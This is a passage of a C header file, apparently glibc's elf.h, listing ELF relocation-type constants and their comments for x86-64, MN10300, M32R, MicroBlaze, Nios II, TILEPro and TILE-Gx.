TLS block */ #define R_X86_64_GOTTPOFF 22 /* 32 bit signed PC relative offset to GOT entry for IE symbol */ #define R_X86_64_TPOFF32 23 /* Offset in initial TLS block */ #define R_X86_64_PC64 24 /* PC relative 64 bit */ #define R_X86_64_GOTOFF64 25 /* 64 bit offset to GOT */ #define R_X86_64_GOTPC32 26 /* 32 bit signed pc relative offset to GOT */ #define R_X86_64_GOT64 27 /* 64-bit GOT entry offset */ #define R_X86_64_GOTPCREL64 28 /* 64-bit PC relative offset to GOT entry */ #define R_X86_64_GOTPC64 29 /* 64-bit PC relative offset to GOT */ #define R_X86_64_GOTPLT64 30 /* like GOT64, says PLT entry needed */ #define R_X86_64_PLTOFF64 31 /* 64-bit GOT relative offset to PLT entry */ #define R_X86_64_SIZE32 32 /* Size of symbol plus 32-bit addend */ #define R_X86_64_SIZE64 33 /* Size of symbol plus 64-bit addend */ #define R_X86_64_GOTPC32_TLSDESC 34 /* GOT offset for TLS descriptor. */ #define R_X86_64_TLSDESC_CALL 35 /* Marker for call through TLS descriptor. */ #define R_X86_64_TLSDESC 36 /* TLS descriptor. */ #define R_X86_64_IRELATIVE 37 /* Adjust indirectly by program base */ #define R_X86_64_RELATIVE64 38 /* 64-bit adjust by program base */ /* 39 Reserved was R_X86_64_PC32_BND */ /* 40 Reserved was R_X86_64_PLT32_BND */ #define R_X86_64_GOTPCRELX 41 /* Load from 32 bit signed pc relative offset to GOT entry without REX prefix, relaxable. */ #define R_X86_64_REX_GOTPCRELX 42 /* Load from 32 bit signed pc relative offset to GOT entry with REX prefix, relaxable. */ #define R_X86_64_NUM 43 /* x86-64 sh_type values. */ #define SHT_X86_64_UNWIND 0x70000001 /* Unwind information. */ /* AM33 relocations. */ #define R_MN10300_NONE 0 /* No reloc. */ #define R_MN10300_32 1 /* Direct 32 bit. */ #define R_MN10300_16 2 /* Direct 16 bit. */ #define R_MN10300_8 3 /* Direct 8 bit. */ #define R_MN10300_PCREL32 4 /* PC-relative 32-bit. */ #define R_MN10300_PCREL16 5 /* PC-relative 16-bit signed. */ #define R_MN10300_PCREL8 6 /* PC-relative 8-bit signed. */ #define R_MN10300_GNU_VTINHERIT 7 /* Ancient C++ vtable garbage... */ #define R_MN10300_GNU_VTENTRY 8 /* ... collection annotation. */ #define R_MN10300_24 9 /* Direct 24 bit. */ #define R_MN10300_GOTPC32 10 /* 32-bit PCrel offset to GOT. */ #define R_MN10300_GOTPC16 11 /* 16-bit PCrel offset to GOT. */ #define R_MN10300_GOTOFF32 12 /* 32-bit offset from GOT. */ #define R_MN10300_GOTOFF24 13 /* 24-bit offset from GOT. */ #define R_MN10300_GOTOFF16 14 /* 16-bit offset from GOT. */ #define R_MN10300_PLT32 15 /* 32-bit PCrel to PLT entry. */ #define R_MN10300_PLT16 16 /* 16-bit PCrel to PLT entry. */ #define R_MN10300_GOT32 17 /* 32-bit offset to GOT entry. */ #define R_MN10300_GOT24 18 /* 24-bit offset to GOT entry. */ #define R_MN10300_GOT16 19 /* 16-bit offset to GOT entry. */ #define R_MN10300_COPY 20 /* Copy symbol at runtime. */ #define R_MN10300_GLOB_DAT 21 /* Create GOT entry. */ #define R_MN10300_JMP_SLOT 22 /* Create PLT entry. */ #define R_MN10300_RELATIVE 23 /* Adjust by program base. */ #define R_MN10300_TLS_GD 24 /* 32-bit offset for global dynamic. */ #define R_MN10300_TLS_LD 25 /* 32-bit offset for local dynamic. */ #define R_MN10300_TLS_LDO 26 /* Module-relative offset. */ #define R_MN10300_TLS_GOTIE 27 /* GOT offset for static TLS block offset. */ #define R_MN10300_TLS_IE 28 /* GOT address for static TLS block offset. */ #define R_MN10300_TLS_LE 29 /* Offset relative to static TLS block. */ #define R_MN10300_TLS_DTPMOD 30 /* ID of module containing symbol. */ #define R_MN10300_TLS_DTPOFF 31 /* Offset in module TLS block. */ #define R_MN10300_TLS_TPOFF 32 /* Offset in static TLS block. */ #define R_MN10300_SYM_DIFF 33 /* Adjustment for next reloc as needed by linker relaxation. */ #define R_MN10300_ALIGN 34 /* Alignment requirement for linker relaxation. */ #define R_MN10300_NUM 35 /* M32R relocs. */ #define R_M32R_NONE 0 /* No reloc. */ #define R_M32R_16 1 /* Direct 16 bit. */ #define R_M32R_32 2 /* Direct 32 bit. */ #define R_M32R_24 3 /* Direct 24 bit. */ #define R_M32R_10_PCREL 4 /* PC relative 10 bit shifted. */ #define R_M32R_18_PCREL 5 /* PC relative 18 bit shifted. */ #define R_M32R_26_PCREL 6 /* PC relative 26 bit shifted. */ #define R_M32R_HI16_ULO 7 /* High 16 bit with unsigned low. */ #define R_M32R_HI16_SLO 8 /* High 16 bit with signed low. */ #define R_M32R_LO16 9 /* Low 16 bit. */ #define R_M32R_SDA16 10 /* 16 bit offset in SDA. */ #define R_M32R_GNU_VTINHERIT 11 #define R_M32R_GNU_VTENTRY 12 /* M32R relocs use SHT_RELA. */ #define R_M32R_16_RELA 33 /* Direct 16 bit. */ #define R_M32R_32_RELA 34 /* Direct 32 bit. */ #define R_M32R_24_RELA 35 /* Direct 24 bit. */ #define R_M32R_10_PCREL_RELA 36 /* PC relative 10 bit shifted. */ #define R_M32R_18_PCREL_RELA 37 /* PC relative 18 bit shifted. */ #define R_M32R_26_PCREL_RELA 38 /* PC relative 26 bit shifted. */ #define R_M32R_HI16_ULO_RELA 39 /* High 16 bit with unsigned low */ #define R_M32R_HI16_SLO_RELA 40 /* High 16 bit with signed low */ #define R_M32R_LO16_RELA 41 /* Low 16 bit */ #define R_M32R_SDA16_RELA 42 /* 16 bit offset in SDA */ #define R_M32R_RELA_GNU_VTINHERIT 43 #define R_M32R_RELA_GNU_VTENTRY 44 #define R_M32R_REL32 45 /* PC relative 32 bit. */ #define R_M32R_GOT24 48 /* 24 bit GOT entry */ #define R_M32R_26_PLTREL 49 /* 26 bit PC relative to PLT shifted */ #define R_M32R_COPY 50 /* Copy symbol at runtime */ #define R_M32R_GLOB_DAT 51 /* Create GOT entry */ #define R_M32R_JMP_SLOT 52 /* Create PLT entry */ #define R_M32R_RELATIVE 53 /* Adjust by program base */ #define R_M32R_GOTOFF 54 /* 24 bit offset to GOT */ #define R_M32R_GOTPC24 55 /* 24 bit PC relative offset to GOT */ #define R_M32R_GOT16_HI_ULO 56 /* High 16 bit GOT entry with unsigned low */ #define R_M32R_GOT16_HI_SLO 57 /* High 16 bit GOT entry with signed low */ #define R_M32R_GOT16_LO 58 /* Low 16 bit GOT entry */ #define R_M32R_GOTPC_HI_ULO 59 /* High 16 bit PC relative offset to GOT with unsigned low */ #define R_M32R_GOTPC_HI_SLO 60 /* High 16 bit PC relative offset to GOT with signed low */ #define R_M32R_GOTPC_LO 61 /* Low 16 bit PC relative offset to GOT */ #define R_M32R_GOTOFF_HI_ULO 62 /* High 16 bit offset to GOT with unsigned low */ #define R_M32R_GOTOFF_HI_SLO 63 /* High 16 bit offset to GOT with signed low */ #define R_M32R_GOTOFF_LO 64 /* Low 16 bit offset to GOT */ #define R_M32R_NUM 256 /* Keep this the last entry. */ /* MicroBlaze relocations */ #define R_MICROBLAZE_NONE 0 /* No reloc. */ #define R_MICROBLAZE_32 1 /* Direct 32 bit. */ #define R_MICROBLAZE_32_PCREL 2 /* PC relative 32 bit. */ #define R_MICROBLAZE_64_PCREL 3 /* PC relative 64 bit. */ #define R_MICROBLAZE_32_PCREL_LO 4 /* Low 16 bits of PCREL32. */ #define R_MICROBLAZE_64 5 /* Direct 64 bit. */ #define R_MICROBLAZE_32_LO 6 /* Low 16 bit. */ #define R_MICROBLAZE_SRO32 7 /* Read-only small data area. */ #define R_MICROBLAZE_SRW32 8 /* Read-write small data area. */ #define R_MICROBLAZE_64_NONE 9 /* No reloc. */ #define R_MICROBLAZE_32_SYM_OP_SYM 10 /* Symbol Op Symbol relocation. */ #define R_MICROBLAZE_GNU_VTINHERIT 11 /* GNU C++ vtable hierarchy. */ #define R_MICROBLAZE_GNU_VTENTRY 12 /* GNU C++ vtable member usage. */ #define R_MICROBLAZE_GOTPC_64 13 /* PC-relative GOT offset. */ #define R_MICROBLAZE_GOT_64 14 /* GOT entry offset. */ #define R_MICROBLAZE_PLT_64 15 /* PLT offset (PC-relative). */ #define R_MICROBLAZE_REL 16 /* Adjust by program base. */ #define R_MICROBLAZE_JUMP_SLOT 17 /* Create PLT entry. */ #define R_MICROBLAZE_GLOB_DAT 18 /* Create GOT entry. */ #define R_MICROBLAZE_GOTOFF_64 19 /* 64 bit offset to GOT. */ #define R_MICROBLAZE_GOTOFF_32 20 /* 32 bit offset to GOT. */ #define R_MICROBLAZE_COPY 21 /* Runtime copy. */ #define R_MICROBLAZE_TLS 22 /* TLS Reloc. */ #define R_MICROBLAZE_TLSGD 23 /* TLS General Dynamic. */ #define R_MICROBLAZE_TLSLD 24 /* TLS Local Dynamic. */ #define R_MICROBLAZE_TLSDTPMOD32 25 /* TLS Module ID. */ #define R_MICROBLAZE_TLSDTPREL32 26 /* TLS Offset Within TLS Block. */ #define R_MICROBLAZE_TLSDTPREL64 27 /* TLS Offset Within TLS Block. */ #define R_MICROBLAZE_TLSGOTTPREL32 28 /* TLS Offset From Thread Pointer. */ #define R_MICROBLAZE_TLSTPREL32 29 /* TLS Offset From Thread Pointer. */ /* Legal values for d_tag (dynamic entry type). */ #define DT_NIOS2_GP 0x70000002 /* Address of _gp. */ /* Nios II relocations. */ #define R_NIOS2_NONE 0 /* No reloc. */ #define R_NIOS2_S16 1 /* Direct signed 16 bit. */ #define R_NIOS2_U16 2 /* Direct unsigned 16 bit. */ #define R_NIOS2_PCREL16 3 /* PC relative 16 bit. */ #define R_NIOS2_CALL26 4 /* Direct call. */ #define R_NIOS2_IMM5 5 /* 5 bit constant expression. */ #define R_NIOS2_CACHE_OPX 6 /* 5 bit expression, shift 22. */ #define R_NIOS2_IMM6 7 /* 6 bit constant expression. */ #define R_NIOS2_IMM8 8 /* 8 bit constant expression. */ #define R_NIOS2_HI16 9 /* High 16 bit. */ #define R_NIOS2_LO16 10 /* Low 16 bit. */ #define R_NIOS2_HIADJ16 11 /* High 16 bit, adjusted. */ #define R_NIOS2_BFD_RELOC_32 12 /* 32 bit symbol value + addend. */ #define R_NIOS2_BFD_RELOC_16 13 /* 16 bit symbol value + addend. */ #define R_NIOS2_BFD_RELOC_8 14 /* 8 bit symbol value + addend. */ #define R_NIOS2_GPREL 15 /* 16 bit GP pointer offset. */ #define R_NIOS2_GNU_VTINHERIT 16 /* GNU C++ vtable hierarchy. */ #define R_NIOS2_GNU_VTENTRY 17 /* GNU C++ vtable member usage. */ #define R_NIOS2_UJMP 18 /* Unconditional branch. */ #define R_NIOS2_CJMP 19 /* Conditional branch. */ #define R_NIOS2_CALLR 20 /* Indirect call through register. */ #define R_NIOS2_ALIGN 21 /* Alignment requirement for linker relaxation. */ #define R_NIOS2_GOT16 22 /* 16 bit GOT entry. */ #define R_NIOS2_CALL16 23 /* 16 bit GOT entry for function. */ #define R_NIOS2_GOTOFF_LO 24 /* %lo of offset to GOT pointer. */ #define R_NIOS2_GOTOFF_HA 25 /* %hiadj of offset to GOT pointer. */ #define R_NIOS2_PCREL_LO 26 /* %lo of PC relative offset. */ #define R_NIOS2_PCREL_HA 27 /* %hiadj of PC relative offset. */ #define R_NIOS2_TLS_GD16 28 /* 16 bit GOT offset for TLS GD. */ #define R_NIOS2_TLS_LDM16 29 /* 16 bit GOT offset for TLS LDM. */ #define R_NIOS2_TLS_LDO16 30 /* 16 bit module relative offset. */ #define R_NIOS2_TLS_IE16 31 /* 16 bit GOT offset for TLS IE. */ #define R_NIOS2_TLS_LE16 32 /* 16 bit LE TP-relative offset. */ #define R_NIOS2_TLS_DTPMOD 33 /* Module number. */ #define R_NIOS2_TLS_DTPREL 34 /* Module-relative offset. */ #define R_NIOS2_TLS_TPREL 35 /* TP-relative offset. */ #define R_NIOS2_COPY 36 /* Copy symbol at runtime. */ #define R_NIOS2_GLOB_DAT 37 /* Create GOT entry. */ #define R_NIOS2_JUMP_SLOT 38 /* Create PLT entry. */ #define R_NIOS2_RELATIVE 39 /* Adjust by program base. */ #define R_NIOS2_GOTOFF 40 /* 16 bit offset to GOT pointer. */ #define R_NIOS2_CALL26_NOAT 41 /* Direct call in .noat section. */ #define R_NIOS2_GOT_LO 42 /* %lo() of GOT entry. */ #define R_NIOS2_GOT_HA 43 /* %hiadj() of GOT entry. */ #define R_NIOS2_CALL_LO 44 /* %lo() of function GOT entry. */ #define R_NIOS2_CALL_HA 45 /* %hiadj() of function GOT entry. */ /* TILEPro relocations. */ #define R_TILEPRO_NONE 0 /* No reloc */ #define R_TILEPRO_32 1 /* Direct 32 bit */ #define R_TILEPRO_16 2 /* Direct 16 bit */ #define R_TILEPRO_8 3 /* Direct 8 bit */ #define R_TILEPRO_32_PCREL 4 /* PC relative 32 bit */ #define R_TILEPRO_16_PCREL 5 /* PC relative 16 bit */ #define R_TILEPRO_8_PCREL 6 /* PC relative 8 bit */ #define R_TILEPRO_LO16 7 /* Low 16 bit */ #define R_TILEPRO_HI16 8 /* High 16 bit */ #define R_TILEPRO_HA16 9 /* High 16 bit, adjusted */ #define R_TILEPRO_COPY 10 /* Copy relocation */ #define R_TILEPRO_GLOB_DAT 11 /* Create GOT entry */ #define R_TILEPRO_JMP_SLOT 12 /* Create PLT entry */ #define R_TILEPRO_RELATIVE 13 /* Adjust by program base */ #define R_TILEPRO_BROFF_X1 14 /* X1 pipe branch offset */ #define R_TILEPRO_JOFFLONG_X1 15 /* X1 pipe jump offset */ #define R_TILEPRO_JOFFLONG_X1_PLT 16 /* X1 pipe jump offset to PLT */ #define R_TILEPRO_IMM8_X0 17 /* X0 pipe 8-bit */ #define R_TILEPRO_IMM8_Y0 18 /* Y0 pipe 8-bit */ #define R_TILEPRO_IMM8_X1 19 /* X1 pipe 8-bit */ #define R_TILEPRO_IMM8_Y1 20 /* Y1 pipe 8-bit */ #define R_TILEPRO_MT_IMM15_X1 21 /* X1 pipe mtspr */ #define R_TILEPRO_MF_IMM15_X1 22 /* X1 pipe mfspr */ #define R_TILEPRO_IMM16_X0 23 /* X0 pipe 16-bit */ #define R_TILEPRO_IMM16_X1 24 /* X1 pipe 16-bit */ #define R_TILEPRO_IMM16_X0_LO 25 /* X0 pipe low 16-bit */ #define R_TILEPRO_IMM16_X1_LO 26 /* X1 pipe low 16-bit */ #define R_TILEPRO_IMM16_X0_HI 27 /* X0 pipe high 16-bit */ #define R_TILEPRO_IMM16_X1_HI 28 /* X1 pipe high 16-bit */ #define R_TILEPRO_IMM16_X0_HA 29 /* X0 pipe high 16-bit, adjusted */ #define R_TILEPRO_IMM16_X1_HA 30 /* X1 pipe high 16-bit, adjusted */ #define R_TILEPRO_IMM16_X0_PCREL 31 /* X0 pipe PC relative 16 bit */ #define R_TILEPRO_IMM16_X1_PCREL 32 /* X1 pipe PC relative 16 bit */ #define R_TILEPRO_IMM16_X0_LO_PCREL 33 /* X0 pipe PC relative low 16 bit */ #define R_TILEPRO_IMM16_X1_LO_PCREL 34 /* X1 pipe PC relative low 16 bit */ #define R_TILEPRO_IMM16_X0_HI_PCREL 35 /* X0 pipe PC relative high 16 bit */ #define R_TILEPRO_IMM16_X1_HI_PCREL 36 /* X1 pipe PC relative high 16 bit */ #define R_TILEPRO_IMM16_X0_HA_PCREL 37 /* X0 pipe PC relative ha() 16 bit */ #define R_TILEPRO_IMM16_X1_HA_PCREL 38 /* X1 pipe PC relative ha() 16 bit */ #define R_TILEPRO_IMM16_X0_GOT 39 /* X0 pipe 16-bit GOT offset */ #define R_TILEPRO_IMM16_X1_GOT 40 /* X1 pipe 16-bit GOT offset */ #define R_TILEPRO_IMM16_X0_GOT_LO 41 /* X0 pipe low 16-bit GOT offset */ #define R_TILEPRO_IMM16_X1_GOT_LO 42 /* X1 pipe low 16-bit GOT offset */ #define R_TILEPRO_IMM16_X0_GOT_HI 43 /* X0 pipe high 16-bit GOT offset */ #define R_TILEPRO_IMM16_X1_GOT_HI 44 /* X1 pipe high 16-bit GOT offset */ #define R_TILEPRO_IMM16_X0_GOT_HA 45 /* X0 pipe ha() 16-bit GOT offset */ #define R_TILEPRO_IMM16_X1_GOT_HA 46 /* X1 pipe ha() 16-bit GOT offset */ #define R_TILEPRO_MMSTART_X0 47 /* X0 pipe mm "start" */ #define R_TILEPRO_MMEND_X0 48 /* X0 pipe mm "end" */ #define R_TILEPRO_MMSTART_X1 49 /* X1 pipe mm "start" */ #define R_TILEPRO_MMEND_X1 50 /* X1 pipe mm "end" */ #define R_TILEPRO_SHAMT_X0 51 /* X0 pipe shift amount */ #define R_TILEPRO_SHAMT_X1 52 /* X1 pipe shift amount */ #define R_TILEPRO_SHAMT_Y0 53 /* Y0 pipe shift amount */ #define R_TILEPRO_SHAMT_Y1 54 /* Y1 pipe shift amount */ #define R_TILEPRO_DEST_IMM8_X1 55 /* X1 pipe destination 8-bit */ /* Relocs 56-59 are currently not defined. */ #define R_TILEPRO_TLS_GD_CALL 60 /* "jal" for TLS GD */ #define R_TILEPRO_IMM8_X0_TLS_GD_ADD 61 /* X0 pipe "addi" for TLS GD */ #define R_TILEPRO_IMM8_X1_TLS_GD_ADD 62 /* X1 pipe "addi" for TLS GD */ #define R_TILEPRO_IMM8_Y0_TLS_GD_ADD 63 /* Y0 pipe "addi" for TLS GD */ #define R_TILEPRO_IMM8_Y1_TLS_GD_ADD 64 /* Y1 pipe "addi" for TLS GD */ #define R_TILEPRO_TLS_IE_LOAD 65 /* "lw_tls" for TLS IE */ #define R_TILEPRO_IMM16_X0_TLS_GD 66 /* X0 pipe 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X1_TLS_GD 67 /* X1 pipe 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X0_TLS_GD_LO 68 /* X0 pipe low 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X1_TLS_GD_LO 69 /* X1 pipe low 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X0_TLS_GD_HI 70 /* X0 pipe high 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X1_TLS_GD_HI 71 /* X1 pipe high 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X0_TLS_GD_HA 72 /* X0 pipe ha() 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X1_TLS_GD_HA 73 /* X1 pipe ha() 16-bit TLS GD offset */ #define R_TILEPRO_IMM16_X0_TLS_IE 74 /* X0 pipe 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X1_TLS_IE 75 /* X1 pipe 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X0_TLS_IE_LO 76 /* X0 pipe low 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X1_TLS_IE_LO 77 /* X1 pipe low 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X0_TLS_IE_HI 78 /* X0 pipe high 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X1_TLS_IE_HI 79 /* X1 pipe high 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X0_TLS_IE_HA 80 /* X0 pipe ha() 16-bit TLS IE offset */ #define R_TILEPRO_IMM16_X1_TLS_IE_HA 81 /* X1 pipe ha() 16-bit TLS IE offset */ #define R_TILEPRO_TLS_DTPMOD32 82 /* ID of module containing symbol */ #define R_TILEPRO_TLS_DTPOFF32 83 /* Offset in TLS block */ #define R_TILEPRO_TLS_TPOFF32 84 /* Offset in static TLS block */ #define R_TILEPRO_IMM16_X0_TLS_LE 85 /* X0 pipe 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X1_TLS_LE 86 /* X1 pipe 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X0_TLS_LE_LO 87 /* X0 pipe low 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X1_TLS_LE_LO 88 /* X1 pipe low 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X0_TLS_LE_HI 89 /* X0 pipe high 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X1_TLS_LE_HI 90 /* X1 pipe high 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X0_TLS_LE_HA 91 /* X0 pipe ha() 16-bit TLS LE offset */ #define R_TILEPRO_IMM16_X1_TLS_LE_HA 92 /* X1 pipe ha() 16-bit TLS LE offset */ #define R_TILEPRO_GNU_VTINHERIT 128 /* GNU C++ vtable hierarchy */ #define R_TILEPRO_GNU_VTENTRY 129 /* GNU C++ vtable member usage */ #define R_TILEPRO_NUM 130 /* TILE-Gx relocations. */ #define R_TILEGX_NONE 0 /* No reloc */ #define R_TILEGX_64 1 /* Direct 64 bit */ #define R_TILEGX_32 2 /* Direct 32 bit */ #define R_TILEGX_16 3 /* Direct 16 bit */ #define R_TILEGX_8 4 /* Direct 8 bit */ #define R_TILEGX_64_PCREL 5 /* PC relative 64 bit */ #define R_TILEGX_32_PCREL 6 /* PC relative 32 bit */ #define R_TILEGX_16_PCREL 7 /* PC relative 16 bit */ #define R_TILEGX_8_PCREL 8 /* PC relative 8 bit */ #define R_TILEGX_HW0 9 /* hword 0 16-bit */ #define R_TILEGX_HW1 10 /* hword 1 16-bit */ #define R_TILEGX_HW2 11 /* hword 2 16-bit */ #define R_TILEGX_HW3 12 /* hword 3 16-bit */ #define R_TILEGX_HW0_LAST 13 /* last hword 0 16-bit */ #define R_TILEGX_HW1_LAST 14 /* last hword 1 16-bit */ #define R_TILEGX_HW2_LAST 15 /* last hword 2 16-bit */ #define R_TILEGX_COPY 16 /* Copy relocation */ #define R_TILEGX_GLOB_DAT 17 /* Create GOT entry */ #define R_TILEGX_JMP_SLOT 18 /* Create PLT entry */ #define R_TILEGX_RELATIVE 19 /* Adjust by program base */ #define R_TILEGX_BROFF_X1 20 /* X1 pipe branch offset */ #define R_TILEGX_JUMPOFF_X1 21 /* X1 pipe jump offset */ #define R_TILEGX_JUMPOFF_X1_PLT 22 /* X1 pipe jump offset to PLT */ #define R_TILEGX_IMM8_X0 23 /* X0 pipe 8-bit */ #define R_TILEGX_IMM8_Y0 24 /* Y0 pipe 8-bit */ #define R_TILEGX_IMM8_X1 25 /* X1 pipe 8-bit */ #define R_TILEGX_IMM8_Y1 26 /* Y1 pipe 8-bit */ #define R_TILEGX_DEST_IMM8_X1 27 /* X1 pipe destination 8-bit */ #define R_TILEGX_MT_IMM14_X1 28 /* X1 pipe mtspr */ #define R_TILEGX_MF_IMM14_X1 29 /* X1 pipe mfspr */ #define R_TILEGX_MMSTART_X0 30 /* X0 pipe mm "start" */ #define R_TILEGX_MMEND_X0 31 /* X0 pipe mm "end" */ #define R_TILEGX_SHAMT_X0 32 /* X0 pipe shift amount */ #define R_TILEGX_SHAMT_X1 33 /* X1 pipe shift amount */ #define R_TILEGX_SHAMT_Y0 34 /* Y0 pipe shift amount */ #define R_TILEGX_SHAMT_Y1 35 /* Y1 pipe shift amount */ #define R_TILEGX_IMM16_X0_HW0 36 /* X0 pipe hword 0 */ #define R_TILEGX_IMM16_X1_HW0 37 /* X1 pipe hword 0 */ #define R_TILEGX_IMM16_X0_HW1 38 /* X0 pipe hword 1 */ #define R_TILEGX_IMM16_X1_HW1 39 /* X1 pipe hword 1 */ #define R_TILEGX_IMM16_X0_HW2 40 /* X0 pipe hword 2 */ #define R_TILEGX_IMM16_X1_HW2 41 /* X1 pipe hword 2 */ #define R_TILEGX_IMM16_X0_HW3 42 /* X0 pipe hword 3 */ #define R_TILEGX_IMM16_X1_HW3 43 /* X1 pipe hword 3 */ #define R_TILEGX_IMM16_X0_HW0_LAST 44 /* X0 pipe last hword 0 */ #define R_TILEGX_IMM16_X1_HW0_LAST 45 /* X1 pipe last hword 0 */ #define R_TILEGX_IMM16_X0_HW1_LAST 46 /* X0 pipe last hword 1 */ #define R_TILEGX_IMM16_X1_HW1_LAST 47 /* X1 pipe last hword 1 */ #define R_TILEGX_IMM16_X0_HW2_LAST 48 /* X0 pipe last hword 2 */ #define R_TILEGX_IMM16_X1_HW2_LAST 49 /* X1 pipe last hword 2 */ #define R_TILEGX_IMM16_X0_HW0_PCREL 50 /* X0 pipe PC relative hword 0 */ #define R_TILEGX_IMM16_X1_HW0_PCREL 51 /* X1 pipe PC relative hword 0 */ #define R_TILEGX_IMM16_X0_HW1_PCREL 52 /* X0 pipe PC relative hword 1 */ #define R_TILEGX_IMM16_X1_HW1_PCREL 53 /* X1 pipe PC relative hword 1 */ #define R_TILEGX_IMM16_X0_HW2_PCREL 54 /* X0 pipe PC relative hword 2 */ #define R_TILEGX_IMM16_X1_HW2_PCREL 55 /* X1 pipe PC relative hword 2 */ #define R_TILEGX_IMM16_X0_HW3_PCREL 56 /* X0 pipe PC relative hword 3 */ #define R_TILEGX_IMM16_X1_HW3_PCREL 57 /* X1 pipe PC relative hword 3 */ #define R_TILEGX_IMM16_X0_HW0_LAST_PCREL 58 /* X0 pipe PC-rel last hword 0 */ #define R_TILEGX_IMM16_X1_HW0_LAST_PCREL 59 /* X1 pipe PC-rel last hword 0 */ #define R_TILEGX_IMM16_X0_HW1_LAST_PCREL 60 /* X0 pipe PC-rel last hword 1 */ #define R_TILEGX_IMM16_X1_HW1_LAST_PCREL 61 /* X1 pipe PC-rel last hword 1 */ #define R_TILEGX_IMM16_X0_HW2_LAST_PCREL 62 /* X0 pipe PC-rel last hword 2 */ #define R_TILEGX_IMM16_X1_HW2_LAST_PCREL 63 /* X1 pipe PC-rel last hword 2 */ #define R_TILEGX_IMM16_X0_HW0_GOT 64 /* X0 pipe hword 0 GOT offset */ #define R_TILEGX_IMM16_X1_HW0_GOT 65 /* X1 pipe hword 0 GOT offset */ #define R_TILEGX_IMM16_X0_HW0_PLT_PCREL 66 /* X0 pipe PC-rel PLT hword 0 */ #define R_TILEGX_IMM16_X1_HW0_PLT_PCREL 67 /* X1 pipe PC-rel PLT hword 0 */ #define R_TILEGX_IMM16_X0_HW1_PLT_PCREL 68 /* X0 pipe PC-rel PLT hword 1 */ #define R_TILEGX_IMM16_X1_HW1_PLT_PCREL 69 /* X1 pipe PC-rel PLT hword 1 */ #define R_TILEGX_IMM16_X0_HW2_PLT_PCREL 70 /* X0 pipe PC-rel PLT hword 2 */ #define R_TILEGX_IMM16_X1_HW2_PLT_PCREL 71 /* X1 pipe PC-rel PLT hword 2 */ #define R_TILEGX_IMM16_X0_HW0_LAST_GOT 72 /* X0 pipe last hword 0 GOT offset */ #define R_TILEGX_IMM16_X1_HW0_LAST_GOT 73 /* X1 pipe last hword 0 GOT offset */ #define R_TILEGX_IMM16_X0_HW1_LAST_GOT 74 /* X0 pipe last hword 1 GOT offset */ #define R_TILEGX_IMM16_X1_HW1_LAST_GOT 75 /* X1 pipe last hword 1 GOT offset */ #define R_TILEGX_IMM16_X0_HW3_PLT_PCREL 76 /* X0 pipe PC-rel PLT hword 3 */ #define R_TILEGX_IMM16_X1_HW3_PLT_PCREL 77 /* X1 pipe PC-rel PLT hword 3 */ #define R_TILEGX_IMM16_X0_HW0_TLS_GD 78 /* X0 pipe hword 0 TLS GD offset */ #define R_TILEGX_IMM16_X1_HW0_TLS_GD 79 /* X1 pipe hword 0 TLS GD offset */ #define R_TILEGX_IMM16_X0_HW0_TLS_LE 80 /* X0 pipe hword 0 TLS LE offset */ #define R_TILEGX_IMM16_X1_HW0_TLS_LE 81 /* X1 pipe hword 0 TLS LE offset */ #define R_TILEGX_IMM16_X0_HW0_LAST_TLS_LE 82 /* X0 pipe last hword 0 LE off */ #define R_TILEGX_IMM16_X1_HW0_LAST_TLS_LE 83 /* X1 pipe last hword 0 LE off */ #define R_TILEGX_IMM16_X0_HW1_LAST_TLS_LE 84 /* X0 pipe last hword 1 LE off */ #define R_TILEGX_IMM16_X1_HW1_LAST_TLS_LE 85 /* X1 pipe last hword 1 LE off */ #define R_TILEGX_IMM16_X0_HW0_LAST_TLS_GD 86 /* X0 pipe last hword 0 GD off */ #define R_TILEGX_IMM16_X1_HW0_LAST_TLS_GD 87 /* X1 pipe last hword 0 GD off */ #define R_TILEGX_IMM16_X0_HW1_LAST_TLS_GD 88 /* X0 pipe last hword 1 GD off */ #define R_TILEGX_IMM16_X1_HW1_LAST_TLS_GD 89 /* X1 pipe last hword 1 GD off */ /* Relocs 90-91 are currently not defined. */ #define R_TILEGX_IMM16_X0_HW0_TLS_IE 92 /* X0 pipe hword 0 TLS IE offset */ #define R_TILEGX_IMM16_X1_HW0_TLS_IE 93 /* X1 pipe hword 0 TLS IE offset */ #define R_TILEGX_IMM16_X0_HW0_LAST_PLT_PCREL 94 /* X0 pipe PC-rel PLT last hword 0 */ #define R_TILEGX_IMM16_X1_HW0_LAST_PLT_PCREL 95 /* X1 pipe PC-rel PLT last hword 0 */ #define R_TILEGX_IMM16_X0_HW1_LAST_PLT_PCREL 96 /* X0 pipe PC-rel PLT last hword 1 */ #define R_TILEGX_IMM16_X1_HW1_LAST_PLT_PCREL 97 /* X1 pipe PC-rel PLT last hword 1 */ #define R_TILEGX_IMM16_X0_HW2_LAST_PLT_PCREL 98 /* X0 pipe PC-rel PLT last hword 2 */ #define R_TILEGX_IMM16_X1_HW2_LAST_PLT_PCREL 99 /* X1 pipe PC-rel PLT last hword 2 */ #define R_TILEGX_IMM16_X0_HW0_LAST_TLS_IE 100 /* X0 pipe last hword 0 IE off */ #define R_TILEGX_IMM16_X1_HW0_LAST_TLS_IE 101 /* X1 pipe last hword 0 IE off */ #define R_TILEGX_IMM16_X0_HW1_LAST_TLS_IE 102 /* X0 pipe last hword 1 IE off */ #define R_TILEGX_IMM16_X1_HW1_LAST_TLS_IE 103 /* X1 pipe last hword 1 IE off */ /* Relocs 104-105 are currently not defined. */ #define R_TILEGX_TLS_DTPMOD64 106 /* 64-bit ID of symbol's module */ #define R_TILEGX_TLS_DTPOFF64 